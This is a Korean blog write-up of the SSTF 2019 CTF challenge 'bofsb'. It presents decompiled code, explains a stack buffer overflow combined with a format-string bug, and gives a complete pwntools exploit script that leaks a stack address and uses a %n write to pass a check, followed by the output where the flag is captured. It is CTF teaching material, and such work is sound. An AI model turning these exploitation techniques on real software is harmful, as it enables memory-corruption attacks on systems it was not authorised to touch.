juntae@ubuntu:~/ctf/SSTF_2019/bofsb$ checksec bofsb
[*] '/home/juntae/ctf/SSTF_2019/bofsb/bofsb'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
미티게이션이 다걸려있다.
Analysis
/***************************/
/* source codes from bofmt */
/* decompiled by IDA pro */
/***************************/
unsigned int showFlag()
{
FILE *stream; // ST0C_4
char s; // [esp+4h] [ebp-88h]
unsigned int v3; // [esp+84h] [ebp-8h]
v3 = __readgsdword(0x14u);
stream = fopen("flag", (const char *)&unk_A60);
fgets(&s, 128, stream);
puts("Thank you for using the magic code!");
printf("The flag is %s\n", &s);
fclose(stream);
return __readgsdword(0x14u) ^ v3;
}
_BOOL4 __cdecl playOthello(int a1)
{
printf("\n\nLet the games Begin... Your card is %x\n", a1);
return a1 == 33;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+0h] [ebp-50h]
int v5; // [esp+4h] [ebp-4Ch]
char *format; // [esp+44h] [ebp-Ch]
unsigned int v7; // [esp+48h] [ebp-8h]
v7 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("Welcome to Othello game!");
puts("Please select your color.");
puts(" 1: Black");
puts(" 2: White");
printf(" > ");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
format = "Black";
}
else
{
if ( v4 != 2 )
{
puts("You selected a wrong number.");
exit(0);
}
format = "White";
}
printf("okay, please remember this magic code: %p\n", &v5);
printf("Please enter your name: ");
__isoc99_scanf("%s", &v5);
printf("%s, your color is ", &v5);
printf(format);
if ( playOthello(v4) )
{
puts("Congrats, You Win!!");
showFlag();
}
else
{
puts("Sorry, you lose.");
}
return 0;
}
Black, White 둘중 하나 입력받는다.
근데 어차피 뭘입력받든 상관이 없는게 어차피 color 값 바꾼다.
일단 코드를 보면 두가지 취약점이 있다.
첫번째로는 이부분!
printf("Please enter your name: ");
__isoc99_scanf("%s", &v5);
printf("%s, your color is ", &v5);
%s로 입력받는거라 BOF가 발생한당.
두번째로는 이부분!
printf(format);
FSB 취약점이 발생한당.
이 두가지 취약점과 스택의 주소를 leak해준다는 점을 이용하여 if문을 맞추면 된다.
printf("okay, please remember this magic code: %p\n", &v5);
이게 leak해주는 부분이다.
_BOOL4 __cdecl playOthello(int a1)
{
printf("\n\nLet the games Begin... Your card is %x\n", a1);
return a1 == 33;
}
그리고 a1 == 33이면 1을 리턴하고...
if ( playOthello(v4) )
{
puts("Congrats, You Win!!");
showFlag();
}
이 루틴에 의해 플래그를 보여준당.
그래서 오버플로우로 format부분까지 %p로 덮고, format부분에 버퍼의 주소를 넣는당.
그러면 format에 %p %p 같은 포멧들이 들어간다.
그러면 릭이 되는데 요걸로 값을 입력하면 된다.
주의해야할 점은 요거 format이 포인터라 주소 말고 그냥 %p로 덮으면 릭이 안된당.
Exploit
from pwn import *
e = ELF("./bofsb")
r = remote("bofsb.sstf.site",1337)
r.recvuntil("> ")
r.sendline("1")
r.recvuntil("code: ")
leak = r.recv(10)
leak = int(leak,16)
flag = leak - 0x4
log.info("buf : " + hex(leak))
log.info("flag : " + hex(flag))
r.recvuntil("name: ")
payload = ""
payload += p32(flag)
payload += "%{}c".format(33 - 0x4)
payload += "%{}$n".format(2)
payload += "A" * (0x40 - len(payload))
payload += p32(leak)
pause()
r.sendline(payload)
sleep(0.1)
log.info("len payload : " + str(len(payload)))
r.interactive()
릭해서 fsb로 33검사하는 루틴에 33 박아주면 끝!
로컬도 그렇고 리모트도 그렇고 값 제대로 안박혀서 슬립넣었당.
Flag
juntae@ubuntu:~/ctf/SSTF_2019/bofsb$ c
juntae@ubuntu:~/ctf/SSTF_2019/bofsb$ p ex.py
[*] '/home/juntae/ctf/SSTF_2019/bofsb/bofsb'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to bofsb.sstf.site on port 1337: Done
[*] buf : 0xffaaf43c
[*] flag : 0xffaaf438
[*] Paused (press any to continue)
[*] len payload : 68
[*] Switching to interactive mode
8𫽥29c%2$nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<𫽬 your color is 8𫽠 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<
Let the games Begin... Your card is 21
Congrats, You Win!!
Thank you for using the magic code!
The flag is SCTF{buff3r_0v3rf10w_and_f0rm47_57r1ng_bu9_4r3_0ld5ch001_ch4113n935}
'System Hacking (pwnable) > CTF Write-up' 카테고리의 다른 글
[hackingcamp] campnote ( write-up ) (0) | 2019.08.25 |
---|---|
[hackingcamp] bofforever ( write-up ) (0) | 2019.08.25 |
[HITCON] Sleepy Holder ( write-up ) (0) | 2019.08.04 |
[Rctf] Rnote ( write-up ) (0) | 2019.08.02 |
[0ctf] babyheap ( write-up ) (0) | 2019.08.02 |